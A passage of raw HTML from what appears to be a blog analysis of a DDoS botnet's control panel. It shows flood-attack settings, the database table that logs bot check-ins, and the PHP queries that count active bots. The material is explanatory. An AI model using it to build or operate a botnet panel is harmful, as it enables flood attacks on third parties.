&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;http_freq&#39;, &#39;100&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;http_threads&#39;, &#39;3&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;icmp_freq&#39;, &#39;10&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;icmp_size&#39;, &#39;2000&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;max_sessions&#39;, &#39;30&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;spoof_ip&#39;, &#39;0&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;syn_freq&#39;, &#39;10&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;tcpudp_freq&#39;, &#39;20&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;(&#39;tcp_size&#39;, &#39;2000&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;(&#39;udp_size&#39;, &#39;1000&#39;),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;

&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;(&#39;ufreq&#39;, &#39;1&#39;);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;-- --------------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b style=&quot;letter-spacing: 1px;&quot;&gt;db.sql &amp;nbsp;&lt;/b&gt;&lt;span style=&quot;font-size: small; letter-spacing: 1px;&quot;&gt;also has the important table structure , “stat” used for tracking the size of the botnet. All the data that is POSTed by the bot client is logged in this table along with the Build ID which is sent back by the bot client to the C&amp;amp;C system .&lt;/span&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;-- Table structure for table `stat`&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;-- &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;CREATE TABLE `stat` (&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;
`id` varchar(50) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;
`addr` varchar(16) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;
`time` int(11) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;
`build` varchar(255) NOT NULL,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;
PRIMARY KEY&amp;nbsp; (`id`)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Index.php &lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;is
the script that connects to the SQL database and fetches the statistics which
are displayed on the GUI. Following SQL queries are found in the index.php file
&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query(&quot;SELECT * FROM
`opt`&quot;); &amp;nbsp;&amp;nbsp;while ($f =
mysql_fetch_array($r)) &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$opt[$f[&#39;name&#39;]]
= $f[&#39;value&#39;];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query(&quot;SELECT COUNT(*) AS
`cnt` FROM `stat` WHERE
&quot;.time().&quot;-`time`&amp;lt;&quot;.($opt[&#39;ufreq&#39;]*60));&amp;nbsp; &lt;b&gt;$btotal&lt;/b&gt;
= intval(mysql_result($r, 0, 0));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query(&quot;SELECT COUNT(*) AS
`cnt` FROM `stat` WHERE &quot;.time().&quot;-`time`&amp;lt;&quot;.(60*60)); &amp;nbsp;&lt;b&gt;$bhour&lt;/b&gt;
= intval(mysql_result($r, 0, 0));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query(&quot;SELECT COUNT(*) AS
`cnt` FROM `stat` WHERE &quot;.time().&quot;-`time`&amp;lt;&quot;.(60*60*24)); &amp;nbsp;&amp;nbsp;&lt;b&gt;$bday&lt;/b&gt;
= intval(mysql_result($r, 0, 0));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query(&quot;SELECT COUNT(*) AS
`cnt` FROM `stat`&quot;);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&amp;nbsp; $ball&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt; = intval(mysql_result($r, 0, 0)); &amp;nbsp;&amp;nbsp;$builds = array();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$sql = &quot;SELECT COUNT(*) AS `cnt`, `build` FROM `stat` GROUP BY
`build`&quot;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;$r = db_query($sql);&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 13.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDcgnAiRNZOX9SJYKO1lPGcm8Fks0XSgvBeGGzlz-0aXBkBAKOvt1n3T2lF7PYMp2EkDZJQMzsgznjhL-9a31QyFSTP86uCV7SkNiPDCSS5SyK1PUdAEWJQaN6ROCta3twdyMaSsx_Plc/s1600/3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDcgnAiRNZOX9SJYKO1lPGcm8Fks0XSgvBeGGzlz-0aXBkBAKOvt1n3T2lF7PYMp2EkDZJQMzsgznjhL-9a31QyFSTP86uCV7SkNiPDCSS5SyK1PUdAEWJQaN6ROCta3twdyMaSsx_Plc/s400/3.png&quot; height=&quot;233&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhizjVE16QBdF9hJj5zbQStAgKmX5tH29x-B1ffIxAzqsa6OcrC63HSWfAXnJAWczM0fLDieNQS4AdEuwkBTpB8NiPDOW22IWImz9-qRLIdMe4dTaJCsNcG63wDCaEUVv1zdmksWBCVcy4/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhizjVE16QBdF9hJj5zbQStAgKmX5tH29x-B1ffIxAzqsa6OcrC63HSWfAXnJAWczM0fLDieNQS4AdEuwkBTpB8NiPDOW22IWImz9-qRLIdMe4dTaJCsNcG63wDCaEUVv1zdmksWBCVcy4/s320/4.png&quot; height=&quot;320&quot; width=&quot;231&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
